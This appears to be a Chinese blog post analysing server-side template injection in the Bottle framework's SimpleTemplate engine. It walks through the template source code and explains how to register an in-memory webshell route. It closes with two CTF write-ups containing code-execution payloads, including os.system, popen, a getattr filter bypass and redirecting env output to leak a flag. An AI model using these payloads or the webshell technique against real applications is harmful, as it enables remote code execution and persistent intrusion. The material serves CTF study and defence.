Bottle框架的模板引擎安全问题分析
Zh1k 历史精选 579浏览 · 2025-03-25 13:24

Bottle框架介绍

Bottle 是一个轻量级的 Python Web 单文件框架,仅包含一个 .py 文件,不依赖外部库,适用于小型 Web 应用和嵌入式系统开发。它提供了路由、模板、请求处理等基本功能,适合快速构建简单的 Web 应用。

优点

因为bottle框架是一个单文件框架 所以比较轻量级 零依赖

简单易用 API 设计简洁,适合快速开发小型 Web 应用或 API。

自带 WSGI 服务器(基于 wsgiref),也支持 GunicornPaste 等服务器。

Bottle 自带一个内置模板引擎,称为 SimpleTemplate(stpl,不依赖第三方库。此外,它还支持其他模板引擎,如 Jinja2MakoCheetah,但这些需要额外安装。

缺点:由于是单文件框架,所以功能有限而且性能比较一般。

Bottle框架的安全问题主要出现在SimpleTemplate模板引擎的使用上,接下来对模板引擎的安全问题进行分析

Bottle的SimpleTemplate引擎

Bottle自带了一个快速,强大,易用的模板引擎,名为 SimpleTemplate 或简称为 stpl 。它是 view()template() 两个函数默认调用的模板引擎。

bottle.template() 底层实现解析

bottle.template() 负责解析并渲染模板,支持:

模板名称(即模板文件路径,如 "index.tpl"

模板字符串(如 "<h1>Hello {{name}}</h1>"

模板对象(如 SimpleTemplate 实例)

📌函数的执行流程

函数实现源码

下面对源码实现进行逐行分析

解析并合并args参数

tpl = args[0] if args else None 如果 args 非空,则 tpl 取 args[0] 作为模板(文件名、字符串或 SimpleTemplate 对象)

for dictarg in args[1:]: kwargs.update(dictarg) 如果 args 传入了多个字典参数,kwargs 需要合并它们。 template("index.tpl", {"name": "Alice"}, {"age": 25}) 等价于 template("index.tpl", name="Alice", age=25)

选择模板适配器adapter

adapter = kwargs.pop('template_adapter', SimpleTemplate) template_adapter 默认是 SimpleTemplate,可用于替换其他模板引擎(如 Jinja2)。

lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)

lookup 来设置模板搜索路径

生成模板缓存id

tplid = (id(lookup), tpl) tplid 由 lookup(模板路径)和 tpl(模板名称或内容)组合而成。用于缓存模板,避免重复解析。

解析并缓存模板

if tplid not in TEMPLATES or DEBUG: TEMPLATES 是全局缓存,存储已解析的模板对象。 DEBUG=True 时,每次都重新解析,避免修改模板后缓存导致更新失败。

if isinstance(tpl, adapter): TEMPLATES[tplid] = tpl

如果 tpl 已经是一个 SimpleTemplate 实例,直接存入缓存 elif " " in tpl or "{" in tpl or "%" in tpl or '$' in tpl: TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)

如果 tpl 是 字符串,并且包含 {}%$,则认为是模板字符串直接解析。 else: TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)

否则,认为 tpl是 文件路径,从 lookup 路径中加载。

处理错误

if not TEMPLATES[tplid]: abort(500, 'Template (%s) not found' % tpl) 如果模板加载失败,返回 HTTP 500 错误。

渲染模板

return TEMPLATES[tplid].render(kwargs) render(kwargs) 传入所有变量,渲染最终 HTML。

SimpleTemplate 语法

Bottle 的 SimpleTemplate 使用类似 Python 的语法,支持:

变量插入

逻辑控制(条件、循环)

代码执行

过滤器和函数

📌 代码执行

bottle框架的代码执行是基于变量插入到模板中的

嵌入Python代码

官方文档
aab81d9dc12bb9eabcae2654e6184c2.png


也就是说 除了使用{和}进行代码执行 在SimpleTemplate模板下我们可以使用%来执行python代码。但是我们的%所在的那一行%的前面只能有空白字符,所以需要我们换行 %0a

% 必须是行的开头,没有其他字符(除了空白字符),否则会被误认为是普通 HTML 或文本内容。

这意味着,如果在 % 前加上文本或标签(如 <div>),那么模板引擎就不会将这一行视为 Python 代码执行,而是将其当作 HTML 元素来处理。

综上 bottle中的代码执行有以下几种方式

{{}} 花括号 只能执行单行表达式。 但是不用分隔符分隔

{{! }} 只能执行单行表达式。也不用分隔符分隔

换行后% 之后换行与html分割 % __import__('os').system('calc') 直接执行 也可执行多行python表达式如下:

<% ···%> 块级代码

Bottle框架的内存马

测试代码

传入cmd 可以进行代码执行

🔥路由解析

其实python框架的内存马都大同小异,生成内存马,就是要注入一段能够命令执行的代码,将这段代码绑定到某个自定义路由上,所以我们需要对路由解析的原理进行分析

跟进装饰器的route函数

01a87ebace12bfeba3564b833841e95.png


跟进代码
360712b17382dfd98a940e64c5e5820.png


4ff673631d563a67ccf8ab10d53bf61.png


使用@app.route装饰器时,会调用add_route方法将路由添加到应用中。如果能够动态获取到Bottle应用实例,就可以通过类似的方式添加自己的路由。例如,通过某种方式获取到app对象后,执行类似app.route('/malicious', method='GET')(malicious_callback)的代码,这样就会将恶意回调绑定到指定的路由上,从而实现内存马的注入。

在代码的最后 调用add_route函数

4168cadf7bbb6cba6f949ce9e9ff8b8.png


对路由的规则和方法进行添加 从而完成创建路由

🔥callback传入

由上分析,我们知道可以传入恶意回调函数从而绑定路由,那么我们需要去寻找一个可以自定义函数 由对其他框架内存马分析的启示 我们得到 可以通过使用lambda关键字定义的匿名函数.

lambda arguments: expression 语法很简单

6eda5db8c4ece25f10dab1af865f790.png


ce05778758b8158bca3cd44ba01a63b.png


成功传入内存马 我们访问/memshell路由会发现成功弹出计算器

🔚Payload

写入payload如下

我们向/memshell路由底下写入内存马 接收get传入的cmd参数

77aed036acb135fa59f91ca3dd5d57f.png


成功命令执行

题目

GHCTF2025_Meaage in a bottle

关键代码分析

逻辑分析:/submit提交message时 先经过waf检验 将{和}替换为空 所以过滤了花括号 之后在handle_message里进行渲染

handle_message逻辑:使用join() 方法用于将生成的HTML 片段列表合并成一个完整的 HTML 字符串:

{message_items} 是在 HTML 模板中被渲染的占位符。

例如假设 message = ["Hello", "你好"]则生成如下:

代码段直接将 msg 变量插入到 HTML 中,如果 msg 由用户提供且未经处理,就可能引发SSTI漏洞

Bottle 的 SimpleTemplate 允许 Python 代码执行,如果 msg 包含 {{ __import__('os').popen('whoami').read() }} 这样的恶意输入,会导致rce。

本地调试

在本地尝试去掉waf 使用payload进行验证

image.png


那说明思路是可行的 接下来需要绕过waf中的花括号

绕waf

根据上文中对Bottle框架模板引擎代码执行的分析 我们可以利用%进行构造代码执行

弹shell

我们也可以写入内存马 只需要获取到app对象

成功写入

NCTF2025_ezdash

bottle渲染时过滤不严 可以直接传入进行代码执行打非预期

关键代码

本地去掉过滤进行尝试 % __import__('os').system('calc') 成功rce

所以只需要绕过点号

使用getattr(object, attribute_name)进行绕过

payload:% getattr(__import__('os'), 'system')('calc') 本地成功

测试的时候发现题目貌似无回显

% getattr(__import__('os'), 'system')('sleep 5') 成功sleep5

尝试重定向

% getattr(__import__('os'), 'system')('env > 2')

访问http://xx.xx.xx.xx:xxxxx/render?path=2 成功获取flag

2 条评论
某人
表情
可输入 255